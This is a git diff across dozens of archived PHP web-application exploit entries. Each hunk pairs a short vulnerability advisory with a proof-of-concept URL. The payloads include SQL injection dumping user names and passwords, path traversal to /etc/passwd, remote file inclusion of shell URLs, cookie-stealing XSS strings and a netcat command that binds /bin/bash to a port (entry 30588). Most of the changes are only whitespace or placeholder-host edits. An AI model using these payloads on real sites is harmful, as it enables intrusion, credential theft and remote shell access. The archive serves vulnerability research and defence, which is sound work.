b/platforms/php/webapps/30509.txt index f589ed619..8d9d82f55 100755 --- a/platforms/php/webapps/30509.txt +++ b/platforms/php/webapps/30509.txt @@ -4,4 +4,4 @@ Dalai Forum is prone to a local file-include vulnerability because it fails to p Exploiting this issue may allow an unauthorized user to view files and execute local scripts. -http://www.example.com/forum/forumreply.php?chemin=../../../../etc/passwd \ No newline at end of file +http://www.example.com/forum/forumreply.php?chemin=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30510.txt b/platforms/php/webapps/30510.txt index de8f3d300..0ab12bf3f 100755 --- a/platforms/php/webapps/30510.txt +++ b/platforms/php/webapps/30510.txt @@ -4,4 +4,4 @@ Firesoft is prone to a remote file-include vulnerability because it fails to suf Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/path/includes/class/class_tpl.php?cache_file=http://SHELLURL? \ No newline at end of file +http://www.example.com/path/includes/class/class_tpl.php?cache_file=http://SHELLURL? \ No newline at end of file diff --git a/platforms/php/webapps/30511.txt b/platforms/php/webapps/30511.txt index 55d8ce7a3..df08c32a4 100755 --- a/platforms/php/webapps/30511.txt +++ b/platforms/php/webapps/30511.txt @@ -4,4 +4,4 @@ Gurur Haber is prone to an SQL-injection vulnerability because it fails to suffi Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/uyeler2.php?id=-1%20union+select+0,kadi,2,id,sifre,5,6,7,8,9,10,11+from+uyeler \ No newline at end of file +http://www.example.com/uyeler2.php?id=-1%20union+select+0,kadi,2,id,sifre,5,6,7,8,9,10,11+from+uyeler \ No newline at end of file diff --git a/platforms/php/webapps/30515.txt b/platforms/php/webapps/30515.txt index d7b991035..b9dd328c1 100755 --- a/platforms/php/webapps/30515.txt +++ b/platforms/php/webapps/30515.txt @@ -4,4 +4,4 @@ coWiki is prone to a cross-site scripting vulnerability because the application An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/?cmd=srchdoc&q=[XSS] \ No newline at end of file +http://www.example.com/?cmd=srchdoc&q=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30516.txt b/platforms/php/webapps/30516.txt index aaba99919..a2af82324 100755 --- a/platforms/php/webapps/30516.txt +++ b/platforms/php/webapps/30516.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow m-phorum 0.3 is vulnerable; other versions may also be affected. -http://www.example.com/?go=[XSS] \ No newline at end of file +http://www.example.com/?go=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30518.txt b/platforms/php/webapps/30518.txt index 872ecb398..cce138b6c 100755 --- a/platforms/php/webapps/30518.txt +++ b/platforms/php/webapps/30518.txt @@ -6,4 +6,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica These issues affect versions prior to Ripe Website Manager 0.8.10. -http://example.com/admin/pages/delete_page.php?id=0 or 1=1 \ No newline at end of file +http://example.com/admin/pages/delete_page.php?id=0 or 1=1 \ No newline at end of file diff --git a/platforms/php/webapps/30520.txt b/platforms/php/webapps/30520.txt index 1ecc79574..6bb2714de 100755 --- a/platforms/php/webapps/30520.txt +++ b/platforms/php/webapps/30520.txt @@ -4,4 +4,4 @@ WordPress Pool is prone to a cross-site scripting vulnerability because the appl An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/index.php/%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30531.txt b/platforms/php/webapps/30531.txt index 3c648a71e..51b499edc 100755 --- a/platforms/php/webapps/30531.txt +++ b/platforms/php/webapps/30531.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AutoIndex PHP Script 2.2.1 is vulnerable; other versions may also be affected. -http://www.example.com/AutoIndex/index.php?search=asdf&search_mode=[xss] \ No newline at end of file +http://www.example.com/AutoIndex/index.php?search=asdf&search_mode=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30533.txt b/platforms/php/webapps/30533.txt index 45df26287..81662554f 100755 --- a/platforms/php/webapps/30533.txt +++ b/platforms/php/webapps/30533.txt @@ -4,4 +4,4 @@ Calendar Events is prone to an SQL-injection vulnerability because it fails to s Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/viewevent.php?id=-1' union select 1,load_file('/etc/passwd'),1,1/* \ No newline at end of file +http://www.example.com/viewevent.php?id=-1' union select 1,load_file('/etc/passwd'),1,1/* \ No newline at end of file diff --git a/platforms/php/webapps/30534.txt b/platforms/php/webapps/30534.txt index 1df79cfa1..8ef1f5529 100755 --- a/platforms/php/webapps/30534.txt +++ b/platforms/php/webapps/30534.txt @@ -6,4 +6,4 @@ Exploiting this vulnerability may allow an attacker to perform cross-site script PhpGedView 4.1 is vulnerable; other versions may also be affected. -http://www.example.com/genealogy/login.php?action=login&username=[xss] \ No newline at end of file +http://www.example.com/genealogy/login.php?action=login&username=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/30539.txt b/platforms/php/webapps/30539.txt index 39a56b6c7..f86d60d95 100755 --- a/platforms/php/webapps/30539.txt +++ b/platforms/php/webapps/30539.txt @@ -10,4 +10,4 @@ http://www.example.com/index.php?menu=showarticle&aid=[SQL INJECTION] http://www.example.com/index.php?menu=showarticle&aid=-3 UNION ALL SELECT 1,@@version,3,4,5,user(),7 http://www.example.com/index.php?menu=showcat&catid=[SQL INJECTION] -http://www.example.com/index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version \ No newline at end of file +http://www.example.com/index.php?menu=showcat&catid=-3 UNION ALL SELECT 1,@@version \ No newline at end of file diff --git a/platforms/php/webapps/30555.txt b/platforms/php/webapps/30555.txt index 677654c11..1cfe33119 100755 --- a/platforms/php/webapps/30555.txt +++ b/platforms/php/webapps/30555.txt @@ -26,7 +26,7 @@ this: </head> <body> <p>Put some text here<p> -<iframe src="http://yourserver/exploit.swf" frameborder="0" height="0" +<iframe src="http://yoursite.com/exploit.swf" frameborder="0" height="0" width="0"></iframe> </body> </html> diff --git a/platforms/php/webapps/30559.txt b/platforms/php/webapps/30559.txt index f04fc52df..648f4b210 100755 --- a/platforms/php/webapps/30559.txt +++ b/platforms/php/webapps/30559.txt @@ -6,4 +6,4 @@ An attacker could exploit these issues to execute local script code in the conte Versions prior to Claroline 1.8.6 are vulnerable. -http://www.example.com/admin/campusProblem.php?view=[XSS] \ No newline at end of file +http://www.example.com/admin/campusProblem.php?view=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30560.txt b/platforms/php/webapps/30560.txt index a1dd498a9..48611a8cb 100755 --- a/platforms/php/webapps/30560.txt +++ b/platforms/php/webapps/30560.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Webboard 6.30 is vulnerable; other versions may also be affected. -http://www.example.com/Board/read.php?id=[SQL] \ No newline at end of file +http://www.example.com/Board/read.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/30568.txt b/platforms/php/webapps/30568.txt index af911fab1..1202a100d 100755 --- a/platforms/php/webapps/30568.txt +++ b/platforms/php/webapps/30568.txt @@ -4,4 +4,4 @@ Pulsewiki and Pawfaliki are prone to a local file-include vulnerability because Exploiting this issue may allow an unauthorized user to view files and execute local scripts. -http://www.example.com/index.php?page=../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/index.php?page=../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30570.txt b/platforms/php/webapps/30570.txt index 9aa864f16..8a2f29906 100755 --- a/platforms/php/webapps/30570.txt +++ b/platforms/php/webapps/30570.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues are related to the vulnerabilities discussed in BID 25507 (Toms Gästebuch Multiple Cross-Site Scripting Vulnerabilities) and may be a result of an incomplete fix for those issues. -http://www.example.com//admin/header.php?lang[adminseite]=XSS&lang[ueberschrift]=XSS&einst[metachar]=XSS \ No newline at end of file +http://www.example.com//admin/header.php?lang[adminseite]=XSS&lang[ueberschrift]=XSS&einst[metachar]=XSS \ No newline at end of file diff --git a/platforms/php/webapps/30572.txt b/platforms/php/webapps/30572.txt index 3a34b79d5..7e0e53d10 100755 --- a/platforms/php/webapps/30572.txt +++ b/platforms/php/webapps/30572.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to steal cookie-based authentication These issues affect phpMyQuote 0.20; other versions may also be vulnerable. http://example.com/script_path/index.php?action=edit&id=[Sql injection] -http://example.com/script_path/index.php?action=edit&id=[XSS] \ No newline at end of file +http://example.com/script_path/index.php?action=edit&id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30581.txt b/platforms/php/webapps/30581.txt index c3a96044a..11619c630 100755 --- a/platforms/php/webapps/30581.txt +++ b/platforms/php/webapps/30581.txt @@ -4,4 +4,4 @@ CS-Guestbook is prone to an information-disclosure vulnerability because the app An attacker can exploit this issue to access sensitive information that may lead to further attacks. -http://www.example.com/guest/base/usr/0.php \ No newline at end of file +http://www.example.com/guest/base/usr/0.php \ No newline at end of file diff --git a/platforms/php/webapps/30583.txt b/platforms/php/webapps/30583.txt index 1dc3740da..5441be8bc 100755 --- a/platforms/php/webapps/30583.txt +++ b/platforms/php/webapps/30583.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects Php-Stats 0.1.9.2; other versions may also be affected. -http://www.example.com/php-stats-path/tracking.php?what=online&ip=[XSS] \ No newline at end of file +http://www.example.com/php-stats-path/tracking.php?what=online&ip=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30588.txt b/platforms/php/webapps/30588.txt index bf47558b9..233aaace4 100755 --- a/platforms/php/webapps/30588.txt +++ b/platforms/php/webapps/30588.txt @@ -11,4 +11,4 @@ http://www.example.com/simplePHPLinux/3payment_receive.php?paymentin fo=`/bin/nc -l -p6666 -e /bin/bash` $ telnet www.example.com 6666 $ id -uid=33(www-data) gid=33(www-data) groups=33(www-data) \ No newline at end of file +uid=33(www-data) gid=33(www-data) groups=33(www-data) \ No newline at end of file diff --git a/platforms/php/webapps/30595.txt b/platforms/php/webapps/30595.txt index 783e3e5b6..623c1c52d 100755 --- a/platforms/php/webapps/30595.txt +++ b/platforms/php/webapps/30595.txt @@ -6,4 +6,4 @@ Attackers can exploit these issues to steal cookie-based authentication credenti Coppermine Photo Gallery 1.4.12 is vulnerable; other versions may also be affected. -http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://localhost/cpg/viewlog.php?log=../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/30601.txt b/platforms/php/webapps/30601.txt index de23b2484..815d6f42d 100755 --- a/platforms/php/webapps/30601.txt +++ b/platforms/php/webapps/30601.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Vigile CMS 1.8 is vulnerable; other versions may also be affected. http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&title=[XSS] -http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&cat=[XSS] \ No newline at end of file +http://www.example.com/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&cat=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30607.txt b/platforms/php/webapps/30607.txt index 5bfe6a7fb..bb1351fe5 100755 --- a/platforms/php/webapps/30607.txt +++ b/platforms/php/webapps/30607.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access This issue affects bcoos Arcade module 1.0.10; other versions may also be affected. -http://www.example.com/modules/arcade/index.php?act=play_game&gid=[SQL] \ No newline at end of file +http://www.example.com/modules/arcade/index.php?act=play_game&gid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/30614.txt b/platforms/php/webapps/30614.txt index 991d270cc..ce6f6202a 100755 --- a/platforms/php/webapps/30614.txt +++ b/platforms/php/webapps/30614.txt @@ -4,4 +4,4 @@ Dance Music is prone to a local file-include vulnerability because it fails to p Exploiting this issue may allow an unauthorized remote user to view files and execute local scripts in the context of the webserver process. -http://www.example.com/modules.php?name=Dance_Music-MM&page=1&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/modules.php?name=Dance_Music-MM&page=1&ACCEPT_FILE[1]=../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30632.txt b/platforms/php/webapps/30632.txt index 8064a888e..a983287e5 100755 --- a/platforms/php/webapps/30632.txt +++ b/platforms/php/webapps/30632.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects DRBGuestbook 1.1.13; other versions may also be vulnerable. -http://www.example.com/index.php?action=<script>alert("XSS");</script> \ No newline at end of file +http://www.example.com/index.php?action=<script>alert("XSS");</script> \ No newline at end of file diff --git a/platforms/php/webapps/30633.txt b/platforms/php/webapps/30633.txt index 45e1260dc..8fa132280 100755 --- a/platforms/php/webapps/30633.txt +++ b/platforms/php/webapps/30633.txt @@ -4,4 +4,4 @@ UebiMiau is prone to a cross-site scripting vulnerability because it fails to pr Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/index.php?lid=de&tid=modern_blue&f_user=&six=&f_email=[XSS] \ No newline at end of file +http://www.example.com/index.php?lid=de&tid=modern_blue&f_user=&six=&f_email=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30634.txt b/platforms/php/webapps/30634.txt index 3501bdcc3..7a6df380e 100755 --- a/platforms/php/webapps/30634.txt +++ b/platforms/php/webapps/30634.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th C*B 0.7.5 is vulnerable; other versions may also be affected. -http://www.example.com/libraries/comment/postComment.php?path[cb]=[Shell URL]?a= \ No newline at end of file +http://www.example.com/libraries/comment/postComment.php?path[cb]=[Shell URL]?a= \ No newline at end of file diff --git a/platforms/php/webapps/30638.txt b/platforms/php/webapps/30638.txt index 96783e957..7e2596f59 100755 --- a/platforms/php/webapps/30638.txt +++ b/platforms/php/webapps/30638.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to steal cookie-based authenticati This issue affects GForge 4.6; other versions may also be affected. -http://www.example.com/GForgePath/account/verify.php?confirm_hash="/><p>This must not happen</p> \ No newline at end of file +http://www.example.com/GForgePath/account/verify.php?confirm_hash="/><p>This must not happen</p> \ No newline at end of file diff --git a/platforms/php/webapps/30640.txt b/platforms/php/webapps/30640.txt index 9550b1eb4..1147ca777 100755 --- a/platforms/php/webapps/30640.txt +++ b/platforms/php/webapps/30640.txt @@ -5,4 +5,4 @@ Stuffed Tracker is prone to multiple cross-site scripting vulnerabilities becaus An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. http://target/path/admin/campaign_link.html?GenCode=1&CampId=1&SplitId=&GLink=XSS -http://target/PATH/actions.html?CpId=1&SiteId=1&Mode=new&EditId=[XSS] \ No newline at end of file +http://target/PATH/actions.html?CpId=1&SiteId=1&Mode=new&EditId=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30642.txt b/platforms/php/webapps/30642.txt index 0a7a1ddb1..1772252c1 100755 --- a/platforms/php/webapps/30642.txt +++ b/platforms/php/webapps/30642.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to steal cookie-based authentication creden These issues affect MailBee WebMail Pro 3.4 and prior versions. -http://www.example.com/[PATH]/default.asp?mode=advanced_login&mode2=[XSS] \ No newline at end of file +http://www.example.com/[PATH]/default.asp?mode=advanced_login&mode2=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30647.txt b/platforms/php/webapps/30647.txt index 10e81e51e..4a2685fbe 100755 --- a/platforms/php/webapps/30647.txt +++ b/platforms/php/webapps/30647.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SNewsCMS 2.1is vulnerable to this issue; other versions may also be affected. -http://www.example.com/news_page.php?page_id=">XSS \ No newline at end of file +http://www.example.com/news_page.php?page_id=">XSS \ No newline at end of file diff --git a/platforms/php/webapps/30651.txt b/platforms/php/webapps/30651.txt index 0383a31b8..12ebcec49 100755 --- a/platforms/php/webapps/30651.txt +++ b/platforms/php/webapps/30651.txt @@ -4,4 +4,4 @@ Webmaster-Tips.net Joomla! RSS Feed Reader is prone to a remote file-include vul Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/path/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=sh3ll? \ No newline at end of file +http://www.example.com/path/administrator/components/com_wmtrssreader/admin.wmtrssreader.php?mosConfig_live_site=sh3ll? \ No newline at end of file diff --git a/platforms/php/webapps/30653.txt b/platforms/php/webapps/30653.txt index c80e852e7..6f6a78a69 100755 --- a/platforms/php/webapps/30653.txt +++ b/platforms/php/webapps/30653.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects phpMyAdmin 2.11.1; other versions may also be vulnerable. -http://www.example.com/phpMyAdmin-2.11.1/scripts/setup.php?>'"><script>alert('xss');</script> \ No newline at end of file +http://www.example.com/phpMyAdmin-2.11.1/scripts/setup.php?>'"><script>alert('xss');</script> \ No newline at end of file diff --git a/platforms/php/webapps/30654.txt b/platforms/php/webapps/30654.txt index 32f837c2d..9ff96baad 100755 --- a/platforms/php/webapps/30654.txt +++ b/platforms/php/webapps/30654.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects ActiveKB NX 2.6; other versions may also be vulnerable. -http://www.example.com/ActiveKB/page?=XSS \ No newline at end of file +http://www.example.com/ActiveKB/page?=XSS \ No newline at end of file diff --git a/platforms/php/webapps/30655.txt b/platforms/php/webapps/30655.txt index add92d981..14bfb4e62 100755 --- a/platforms/php/webapps/30655.txt +++ b/platforms/php/webapps/30655.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects Joomla! 1.0.13; other versions may also be vulnerable. -http://www.example.com/index.php?option=com_search&searchword=';alert('XSS') \ No newline at end of file +http://www.example.com/index.php?option=com_search&searchword=';alert('XSS') \ No newline at end of file diff --git a/platforms/php/webapps/30656.txt b/platforms/php/webapps/30656.txt index ebb20d17b..913bd6178 100755 --- a/platforms/php/webapps/30656.txt +++ b/platforms/php/webapps/30656.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l boastMachine 2.8 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/index.php?id=../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/index.php?id=../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30657.txt b/platforms/php/webapps/30657.txt index 09a818312..bceeb0ff0 100755 --- a/platforms/php/webapps/30657.txt +++ b/platforms/php/webapps/30657.txt @@ -4,4 +4,4 @@ UMI CMS is prone to a cross-site scripting vulnerability because the application An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/search/search_do/?search_string=%22%20onmouseover=%22javacript:alert() \ No newline at end of file +http://www.example.com/search/search_do/?search_string=%22%20onmouseover=%22javacript:alert() \ No newline at end of file diff --git a/platforms/php/webapps/30658.txt b/platforms/php/webapps/30658.txt index c3cebcba4..8ec616793 100755 --- a/platforms/php/webapps/30658.txt +++ b/platforms/php/webapps/30658.txt @@ -5,4 +5,4 @@ CRS Manager is prone to multiple remote file-include vulnerabilities because it Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. http://www.example.com/index.php?DOCUMENT_ROOT=shell?? -http://www.example.com/login.php?DOCUMENT_ROOT=shell?? \ No newline at end of file +http://www.example.com/login.php?DOCUMENT_ROOT=shell?? \ No newline at end of file diff --git a/platforms/php/webapps/30659.txt b/platforms/php/webapps/30659.txt index 647ae08f7..0e2ca083e 100755 --- a/platforms/php/webapps/30659.txt +++ b/platforms/php/webapps/30659.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow The issue affects Nucleus CMS 3.0.1; other versions may also be vulnerable. -http://www.example.com/index.php?blogid=1&archive=2007-01-01%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?blogid=1&archive=2007-01-01%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30660.txt b/platforms/php/webapps/30660.txt index b150ea5bd..1bff5a849 100755 --- a/platforms/php/webapps/30660.txt +++ b/platforms/php/webapps/30660.txt @@ -5,4 +5,4 @@ Stride 1.0 Courses is prone to multiple SQL-injection vulnerabilities because it Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/detail.php?course=[SQL] -http://www.example.com/detail.php?provider=[SQL] \ No newline at end of file +http://www.example.com/detail.php?provider=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/30662.txt b/platforms/php/webapps/30662.txt index 145c85a91..6a452ac65 100755 --- a/platforms/php/webapps/30662.txt +++ b/platforms/php/webapps/30662.txt @@ -4,4 +4,4 @@ Scott Manktelow Design Stride 1.0 Content Management System is prone to an SQL-i Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/main.php?p=[SQL] \ No newline at end of file +http://www.example.com/main.php?p=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/30663.txt b/platforms/php/webapps/30663.txt index 40e1d5cb8..78026a7ff 100755 --- a/platforms/php/webapps/30663.txt +++ b/platforms/php/webapps/30663.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow an attacker to compromise the application and Linkliste 1.2 is reportedly vulnerable to these issues; other versions may also be affected. -http://www.example.com/index.php?styl[top]=shell?? \ No newline at end of file +http://www.example.com/index.php?styl[top]=shell?? \ No newline at end of file diff --git a/platforms/php/webapps/30689.php b/platforms/php/webapps/30689.php index b9eaafb1a..c8ed49312 100755 --- a/platforms/php/webapps/30689.php +++ b/platforms/php/webapps/30689.php @@ -33,7 +33,7 @@ $token_hex = hex($token); puts("Taboada Macronews <= 1.0 SQL Injection Exploit"); puts("By WhiteCollarGroup (0KaL miss all of you guys)"); -puts("[?] Enter website URL (e. g.: http://server/taboada/):"); +puts("[?] Enter website URL (e. g.: http://www.target.com/taboada/):"); $target = gets(); puts("[*] Checking..."); diff --git a/platforms/php/webapps/30691.txt b/platforms/php/webapps/30691.txt index 3d453d471..dc5f945be 100755 --- a/platforms/php/webapps/30691.txt +++ b/platforms/php/webapps/30691.txt @@ -4,5 +4,5 @@ OmniVista 4760 is prone to multiple cross-site scripting vulnerabilities because Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. -http://www.someserver/?Langue="><script>alert("xss")</script><" -http://www.someserver/php-bin/Webclient.php?action=<script>alert("xss")</script> \ No newline at end of file +http://www.somesite.com/?Langue="><script>alert("xss")</script><" +http://www.somesite.com/php-bin/Webclient.php?action=<script>alert("xss")</script> \ No newline at end of file diff --git a/platforms/php/webapps/30694.txt b/platforms/php/webapps/30694.txt index c0413198d..5b913bfe0 100755 --- a/platforms/php/webapps/30694.txt +++ b/platforms/php/webapps/30694.txt @@ -4,4 +4,4 @@ SocketMail is prone to a cross-site scripting vulnerability because the applicat An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/path/lostpwd.php?lost_id=[XSS] \ No newline at end of file +http://www.example.com/path/lostpwd.php?lost_id=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/30695.txt b/platforms/php/webapps/30695.txt index c023a57bf..86511b1c1 100755 --- a/platforms/php/webapps/30695.txt +++ b/platforms/php/webapps/30695.txt @@ -7,4 +7,4 @@ Exploiting these vulnerabilities may allow an attacker to perform cross-site scr rNote 0.9.7.5 is vulnerable; other versions may also be affected. http://www.example.com/rnote/rnote.php?d=<script>alert("RxH")</script -http://www.example.com/rnote/rnote.php?u=<script>alert("RxH")</script \ No newline at end of file +http://www.example.com/rnote/rnote.php?u=<script>alert("RxH")</script \ No newline at end of file diff --git a/platforms/php/webapps/30697.txt b/platforms/php/webapps/30697.txt index 4aeb0d7ab..e3f278fde 100755 --- a/platforms/php/webapps/30697.txt +++ b/platforms/php/webapps/30697.txt @@ -4,4 +4,4 @@ ReloadCMS is prone to a local file-include vulnerability because it fails to pro Exploiting this issue may allow an unauthorized user to execute local scripts or to view arbitrary files that may contain sensitive information that can aid in further attacks. -http://www.example.com/index.php?module=../../../../etc/passwd \ No newline at end of file +http://www.example.com/index.php?module=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/30700.txt b/platforms/php/webapps/30700.txt index 9d68d6052..8ada47737 100755 --- a/platforms/php/webapps/30700.txt +++ b/platforms/php/webapps/30700.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc This issue affects DMCMS 0.7.0; other versions may also be affected. -http://www.example.com/index.php?page=media&id=[SQL INJECTION CODE GOES HERE] \ No newline at end of file +http://www.example.com/index.php?page=media&id=[SQL INJECTION CODE GOES HERE] \ No newline at end of file diff --git a/platforms/php/webapps/30701.txt b/platforms/php/webapps/30701.txt index 25d009a9d..9eba0f1c4 100755 --- a/platforms/php/webapps/30701.txt +++ b/platforms/php/webapps/30701.txt @@ -7,4 +7,4 @@ Exploiting this issue may allow an unauthorized user to execute local scripts or This issue affects Jeebles Directory 2.9.60; other versions may also be affected. -http://www.example.com/[path]/download.php?settings2.inc.php \ No newline at end of file +http://www.example.com/[path]/download.php?settings2.inc.php \ No newline at end of file diff --git a/platforms/php/webapps/30703.txt b/platforms/php/webapps/30703.txt index c1108fe8a..78242f18e 100755 --- a/platforms/php/webapps/30703.txt +++ b/platforms/php/webapps/30703.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to upload arbitrary code and execute Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable. -http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension \ No newline at end of file +http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension \ No newline at end of file diff --git a/platforms/php/webapps/30707.txt b/platforms/php/webapps/30707.txt index fb23bb8d1..b6e0ed152 100755 --- a/platforms/php/webapps/30707.txt +++ b/platforms/php/webapps/30707.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects basicFramework 1.0; other versions may also be vulnerable. -http://www.example.com/includes.php?root=[shell] \ No newline at end of file +http://www.example.com/includes.php?root=[shell] \ No newline at end of file diff --git a/platforms/php/webapps/30712.txt b/platforms/php/webapps/30712.txt index 1c8e79a8b..c127c17a9 100755 --- a/platforms/php/webapps/30712.txt +++ b/platforms/php/webapps/30712.txt @@ -5,4 +5,4 @@ Multi-Forums is prone to multiple SQL-injection vulnerabilities because it fails Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/directory.php?go=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id] -http://www.example.com/directory.php?cat=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id] \ No newline at end of file +http://www.example.com/directory.php?cat=-1+union+select+1,concat(name,0x3a,password),3+from+[forum]_members+where+id=[id] \ No newline at end of file diff --git a/platforms/php/webapps/30715.txt b/platforms/php/webapps/30715.txt index 70044f37d..25944dcd1 100755 --- a/platforms/php/webapps/30715.txt +++ b/platforms/php/webapps/30715.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects WordPress 2.3; other versions may also be vulnerable. -http://www.example.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script> \ No newline at end of file +http://www.example.com/wp-admin/edit-post-rows.php?posts_columns[]=<script>alert(123);</script> \ No newline at end of file diff --git a/platforms/php/webapps/30716.txt b/platforms/php/webapps/30716.txt index 7b512dec9..81bded165 100755 --- a/platforms/php/webapps/30716.txt +++ b/platforms/php/webapps/30716.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities may allow an attacker to perform cross-site scr http://www.example.com/index.php?page=&email=<Evil-Script> http://www.example.com/index.php?page=home&command=<Evil-Script> -http://www.example.com/index.php?page=home&component=currencies&command=<Evil-Script> http://www.example.com/index.php?page=home&component=basket&command=%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file +http://www.example.com/index.php?page=home&component=currencies&command=<Evil-Script> http://www.example.com/index.php?page=home&component=basket&command=%3Cscript%3Ealert(document.cookie);%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/30717.txt b/platforms/php/webapps/30717.txt index f0d936a61..4ca333595 100755 --- a/platforms/php/webapps/30717.txt +++ b/platforms/php/webapps/30717.txt @@ -5,4 +5,4 @@ Omnistar Live is prone to a cross-site scripting vulnerability because the appli An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other 